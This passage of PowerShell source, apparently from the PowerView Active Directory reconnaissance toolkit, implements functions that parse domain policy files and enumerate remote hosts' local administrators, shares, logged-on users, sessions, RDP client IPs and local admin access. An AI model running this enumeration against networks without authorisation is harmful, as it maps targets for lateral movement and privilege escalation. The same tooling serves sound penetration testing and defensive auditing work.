$Domain, + + [String] + $DomainController, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive + ) + + if($Source -eq "Domain") { + # query the given domain for the default domain policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs + } + + } + elseif($Source -eq "DC") { + # query the given domain/dc for the default domain controller policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + if($ResolveSids) { + # if we're resolving sids in PrivilegeRights to names + $Policy = New-Object PSObject + $_.psobject.properties | ForEach-Object { + if( $_.Name -eq 'PrivilegeRights') { + + $PrivilegeRights = New-Object PSObject + # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate + $_.Value.psobject.properties | ForEach-Object { + + $Sids = $_.Value | ForEach-Object { + try { + if($_ -isnot [System.Array]) { + Convert-SidToName $_ + } + else { + $_ | ForEach-Object { Convert-SidToName $_ } + } + } + catch { + Write-Verbose "Error resolving SID : $_" + } + } + + $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids + } + + $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights + } + else { + $Policy | Add-Member Noteproperty $_.Name $_.Value + } + } + $Policy + } + else { $_ } + } + } + } +} + + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# + .SYNOPSIS + + Gets a list of all current users in a specified local group, + or returns the names of all local groups with -ListGroups. + + .PARAMETER ComputerName + + The hostname or IP to query for local group users. + + .PARAMETER ComputerFile + + File of hostnames/IPs to query for local group users. + + .PARAMETER GroupName + + The local group name to query for users. If not given, it defaults to "Administrators" + + .PARAMETER ListGroups + + Switch. List all the local groups instead of their members. + Old Get-NetLocalGroups functionality. + + .PARAMETER Recurse + + Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup + + Returns the usernames that of members of localgroup "Administrators" on the local host. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP + + Returns all the local administrator accounts for WINDOWSXP + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse + + Returns all effective local/domain users/groups that can access WINDOWS7 with + local administrative privileges. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups + + Returns all local groups on the WINDOWS7 host. + + .EXAMPLE + + PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + + Returns all local groups on the the passed hosts using API calls instead of the + WinNT service provider. + + .LINK + + http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together + http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +#> + + [CmdletBinding(DefaultParameterSetName = 'WinNT')] + param( + [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] + [Alias('HostName')] + [String[]] + $ComputerName = $Env:ComputerName, + + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] + [String] + $GroupName = 'Administrators', + + [Parameter(ParameterSetName = 'WinNT')] + [Switch] + $ListGroups, + + [Parameter(ParameterSetName = 'WinNT')] + [Switch] + $Recurse, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API + ) + + process { + + $Servers = @() + + # if we have a host list passed, grab it + if($ComputerFile) { + $Servers = Get-Content -Path $ComputerFile + } + else { + # otherwise assume a single host name + $Servers += $ComputerName | Get-NameField + } + + # query the specified group using the WINNT provider, and + # extract fields as appropriate from the results + ForEach($Server in $Servers) { + + if($API) { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + $LocalUsers = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = "" + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Result2 -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $LocalUser = New-Object PSObject + $LocalUser | Add-Member Noteproperty 'ComputerName' $Server + $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname + $LocalUser | Add-Member Noteproperty 'SID' $SidString + + $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') + $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup + + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') + + $LocalUsers += $LocalUser + } + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} + $Parts = $MachineSid.SID.Split('-') + $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' + + $LocalUsers | ForEach-Object { + if($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' $True + } + } + $LocalUsers + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + + else { + # otherwise we're using the WinNT service provider + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) + + $Members | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Server + + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True + } + else { + $Name = $AdsPath + $IsDomain = $False + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + + if($IsDomain) { + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + + $Member | Add-Member Noteproperty 'Description' "" + $Member | Add-Member Noteproperty 'Disabled' $False + + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } + } + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" + } + else { + # repull this user object so we can ensure correct information + $LocalUser = $([ADSI] "WinNT://$AdsPath") + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + + $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + + # check if the member is a group + $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + } + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') + $Member + + # if the result is a group domain object and we're recursing, try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { + + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + try { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + catch { + Write-Verbose "Error resolving SID : $_" + } + } + + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') + $Member + } + } + } + } + } + catch { + Write-Warning "[!] Error: $_" + } + } + } + } +} + + +filter Get-NetShare { +<# + .SYNOPSIS + + This function will execute the NetShareEnum Win32API call to query + a given host for open shares. This is a replacement for + "net share \\hostname" + + .PARAMETER ComputerName + + The hostname to query for shares. Also accepts IP addresses. + + .OUTPUTS + + SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 + result structure which includes the name and note for each share, + with the ComputerName added. + + .EXAMPLE + + PS C:\> Get-NetShare + + Returns active shares on the local host. + + .EXAMPLE + + PS C:\> Get-NetShare -ComputerName sqlserver + + Returns active shares on the 'sqlserver' host + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetShare + + Returns all shares for all computers in the domain. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + + # return all the sections of the structure + $Shares = $Info | Select-Object * + $Shares | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Shares + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } +} + + +filter Get-NetLoggedon { +<# + .SYNOPSIS + + This function will execute the NetWkstaUserEnum Win32API call to query + a given host for actively logged on users. + + .PARAMETER ComputerName + + The hostname to query for logged on users. + + .OUTPUTS + + WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 + result structure which includes the username and domain of logged on users, + with the ComputerName added. + + .EXAMPLE + + PS C:\> Get-NetLoggedon + + Returns users actively logged onto the local host. + + .EXAMPLE + + PS C:\> Get-NetLoggedon -ComputerName sqlserver + + Returns users actively logged onto the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetLoggedon + + Returns all logged on userse for all computers in the domain. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } +} + + +filter Get-NetSession { +<# + .SYNOPSIS + + This function will execute the NetSessionEnum Win32API call to query + a given host for active sessions on the host. + Heavily adapted from dunedinite's post on stackoverflow (see LINK below) + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .PARAMETER UserName + + The user name to filter for active sessions. + + .OUTPUTS + + SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 + result structure which includes the host and username associated + with active sessions, with the ComputerName added. + + .EXAMPLE + + PS C:\> Get-NetSession + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetSession -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetSession + + Returns active sessions on all domain controllers. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [String] + $UserName = '' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure + $Sessions = $Info | Select-Object * + $Sessions | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Sessions + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } +} + + +filter Get-LoggedOnLocal { +<# + .SYNOPSIS + + This function will query the HKU registry values to retrieve the local + logged on users SID and then attempt and reverse it. + Adapted technique from Sysinternal's PSLoggedOn script. Benefit over + using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges + required (NetWkstaUserEnum requires remote admin access). + + Note: This function requires only domain user rights on the + machine you're enumerating, but remote registry must be enabled. + + Function: Get-LoggedOnLocal + Author: Matt Kelly, @BreakersAll + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = Convert-SidToName $_ + + $Parts = $UserName.Split('\') + $UserDomain = $Null + $UserName = $Parts[-1] + if ($Parts.Length -eq 2) { + $UserDomain = $Parts[0] + } + + $LocalLoggedOnUser = New-Object PSObject + $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $LocalLoggedOnUser + } + } + catch { + Write-Verbose "Error opening remote registry on '$ComputerName'" + } +} + + +filter Get-NetRDPSession { +<# + .SYNOPSIS + + This function will execute the WTSEnumerateSessionsEx and + WTSQuerySessionInformation Win32API calls to query a given + RDP remote service for active sessions and originating IPs. + This is a replacement for qwinsta. + + Note: only members of the Administrators or Account Operators local group + can successfully execute this functionality on a remote target. + + .PARAMETER ComputerName + + The hostname to query for active RDP sessions. + + .EXAMPLE + + PS C:\> Get-NetRDPSession + + Returns active RDP/terminal sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetRDPSession -ComputerName "sqlserver" + + Returns active RDP/terminal sessions on the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetRDPSession + + Returns active RDP/terminal sessions on all domain controllers. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" + } + else { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + } +} + + +filter Invoke-CheckLocalAdminAccess { +<# + .SYNOPSIS + + This function will use the OpenSCManagerW Win32API call to establish + a handle to the remote host. If this succeeds, the current user context + has local administrator acess to the target. + + Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + + .PARAMETER ComputerName + + The hostname to query for active sessions. + + .OUTPUTS + + $True if the current user has local admin access to the hostname, $False otherwise + + .EXAMPLE + + PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Sees what machines in the domain the current user has access to. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle" + + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + } + + $IsAdmin +} + + +filter Get-SiteName { +<# + .SYNOPSIS + + This function will use the DsGetSiteName Win32API call to look up the + name of the site where a specified computer resides. + + .PARAMETER ComputerName + + The hostname to look the site up for, default to localhost. + + .EXAMPLE + + PS C:\> Get-SiteName -ComputerName WINDOWS1 + + Returns the site for WINDOWS1.testlab.local. + + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Returns the sites for every machine in AD. +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = $Env:ComputerName + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # if we get an IP address, try to resolve the IP to a hostname + if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) + } + else { + $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + else { + $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage + } + + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + $ComputerSite +} + + +filter Get-LastLoggedOn { +<# + .SYNOPSIS + + This function uses remote registry functionality to return + the last user logged onto a target machine. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for the last logged on user. + Defaults to the localhost. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn + + Returns the last user logged onto the local machine. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 + + Returns the last user logged onto WINDOWS1 + + .EXAMPLE + + 